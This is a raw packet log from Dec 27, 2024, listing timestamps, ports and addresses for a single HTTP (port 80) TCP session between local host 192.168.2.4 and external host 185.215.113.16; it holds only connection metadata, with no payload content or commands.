Dec 27, 2024 15:04:07.427448988 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.427489996 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.427531004 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.428401947 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.428445101 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.428462982 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.429235935 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.429276943 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.429415941 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.430102110 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.430186987 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.430197954 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.430854082 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.430895090 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.430952072 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.431792021 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.431839943 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.431842089 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.432626009 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.432665110 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.432704926 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.433546066 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.433583021 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.453932047 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.454030991 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.454097033 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.454288006 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.499573946 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.509804964 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.509819984 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.509921074 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.547715902 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.547770023 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.547832012 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.548058033 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.548469067 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.548518896 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.548530102 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.548933983 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.549026966 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.549077988 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.549818993 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.549875975 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.549923897 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.550726891 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.550884008 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.550931931 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.551594019 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.551651955 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.551928043 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.551996946 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.552401066 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.552463055 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.552603960 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.553451061 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.553497076 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.553498030 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.553536892 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.554012060 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.554128885 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.554847956 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.554898977 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.555002928 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.555052996 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.555881023 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.556024075 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.556077957 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.558247089 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.558259964 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.558270931 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.558299065 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.578342915 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.578447104 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.578556061 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.578692913 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.578737020 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.578788042 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.579881907 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.580110073 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.671910048 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.671952963 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.672156096 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.672272921 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.672821999 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.672899961 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.672966957 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.673261881 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.673315048 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.673351049 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.674129009 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.674226999 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.674283028 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.675050020 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.675111055 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.675139904 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.676014900 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.676104069 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.676166058 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.676685095 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.676732063 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.676732063 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.677548885 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.677597046 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.677655935 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.678186893 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.678235054 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.678265095 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.679131985 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.679209948 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.679271936 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.679953098 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.680003881 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.680072069 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.680907965 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.680947065 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.680962086 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.681746960 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.684143066 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.702769995 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.702897072 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.703170061 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.703222036 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.703227997 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.703282118 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.703700066 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.703814030 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.703897953 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.704511881 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.749557972 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.796349049 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.796417952 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.796498060 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.796637058 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.797239065 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.797255039 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.797300100 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.797681093 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.797766924 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.797794104 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.798552036 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.798614979 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.798676968 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.799509048 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.799549103 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.799592018 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.800313950 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.800367117 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.800688982 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.800796032 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.800879955 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.801590919 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.801693916 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.801736116 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.802424908 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.802489996 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.802535057 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.803282976 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.803608894 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.803678036 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.803678989 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.804477930 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.804522038 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.804569006 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.805428028 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.805504084 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.805516005 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.806221008 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.806488037 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.827127934 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.827164888 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.827296019 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.827474117 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.827590942 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.827661991 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.828392029 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.828457117 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.828694105 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.882489920 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.882509947 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.882591963 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.920610905 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.920694113 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.920809031 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.920953989 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.921664000 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.921777964 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.921852112 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.922127962 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.922178984 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.922230959 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.923002005 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.923110008 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.923158884 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.923844099 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.923887014 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.923899889 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.924786091 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.924834967 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.925196886 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.925257921 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.925827980 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.925978899 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.926101923 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.926860094 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.926909924 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.927016020 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.927155018 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.927732944 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.928009987 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.928061962 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.928086042 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.928864002 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.928945065 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.929044962 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.929792881 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.929821014 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.929848909 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.930644035 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.930687904 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.951627970 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.951682091 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.951765060 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.951848984 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.951953888 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.951992989 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.952752113 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.952853918 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.952893019 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:07.953656912 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.953696966 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:07.953737020 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.044852972 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.044905901 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.045025110 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.045223951 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.046119928 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.046211958 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.046268940 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.046624899 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.046667099 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.046736002 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.047521114 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.047612906 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.047661066 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.048388958 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.048439980 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.048458099 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.049143076 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.049252987 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.049297094 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.049976110 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.050103903 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.050151110 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.050863028 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.050911903 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.050981045 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.051611900 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.051673889 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.051729918 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.052442074 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.052534103 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.052608013 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.053262949 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.053306103 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.053399086 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.054141045 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.054244041 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.054291964 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.055051088 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.055093050 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.076180935 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.076221943 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.076308012 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.076334953 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.076455116 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.076498985 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.077259064 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.077341080 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.077389956 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.078124046 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.078201056 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.078248024 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.092592955 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.092626095 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.092700958 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.175369024 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.175479889 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.175563097 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.175772905 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.176584959 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.176629066 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.419437885 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.419465065 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.419477940 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.419491053 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.419506073 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.419565916 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.419578075 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.419591904 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.419589996 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.419605017 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.419617891 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.419629097 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.419640064 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.419640064 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.419652939 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.419665098 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.419693947 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.420686007 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.420717955 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.420732021 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.420742989 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.420748949 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.420754910 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.420767069 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.420789957 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.420804977 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.420816898 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.420829058 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.420840979 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.420846939 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.420851946 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.420857906 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.420876980 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.420888901 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.420900106 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.420907021 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.420911074 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.420931101 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.420953035 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.420954943 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.420965910 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.420994043 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.421001911 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.421004057 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.421008110 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.421010017 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.421017885 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.421021938 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.421035051 CET	80	49743	185.215.113.16	192.168.2.4
